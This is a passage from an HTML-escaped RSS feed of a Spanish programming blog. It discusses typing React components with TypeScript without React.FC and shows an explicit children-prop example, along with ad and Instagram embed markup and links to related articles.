href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;el lenguaje de programación Go&lt;/a&gt;&#xA; para su compilador.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Sin embargo, la discusión de la que te hablo es solo eso, una discusión, no está escrita en piedra, puede que tú consideres que es mejor sacrificar un poco de legibilidad en favor de la comodidad o, por el contrario, puede que creas que es importante ser explícito cuando se trabaja con typescript.&lt;/p&gt;&#xA;&lt;p&gt;Si es el caso, considera que siempre puedes declarar el children como un prop de manera explícita, tal como lo harías con cualquier otro prop. Y de la misma manera, puedes declarar el valor de retorno de tu componente como un elemento de tipo JSX.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;interface&lt;/span&gt; propsWithChildren {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    children&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.ReactNode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Componente &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; propsWithChildren)&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; JSX.Element =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Componente&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Typescript no debería de advertirte sobre ningún error con esta aproximación al problema.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;otros-recursos-sobre-el-tema&#34;&gt;Otros recursos sobre el tema&lt;/h2&gt;&#xA;&lt;p&gt;Aquí abajo te dejo los enlaces a la discusión original y algunos posts al respecto de este tema.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CYUQII4tCXz&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CYUQII4tCXz&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/facebook/create-react-app/pull/8177&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Remove React.FC from Typescript template&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/raccoons-group/why-you-probably-shouldnt-use-react-fc-to-type-your-react-components-37ca1243dd13&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why you probably shouldn’t use React.FC to type your React components&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.harrymt.com/blog/2020/05/20/react-typescript-react-fc.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Should you use React.FC for typing React Components&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Cuando usamos Typescript con React y queremos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/que-tipos-o-types-usar-para-componentes-react-con-children/&#34;&gt;pasarle un &lt;em&gt;children&lt;/em&gt; como prop a alguno de nuestros componentes&lt;/a&gt;&#xA;, necesitamos indicar el type. Generalmente se suele usar el type &lt;em&gt;React.FC&lt;/em&gt;, el cual es el nombre abreviado de &lt;em&gt;React.FunctionComponent&lt;/em&gt;. Con esto el mensaje de Typescript que nos advierte de un children con tipo any desaparecerá.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CaprxYEs8Uh&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CaprxYEs8Uh&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre 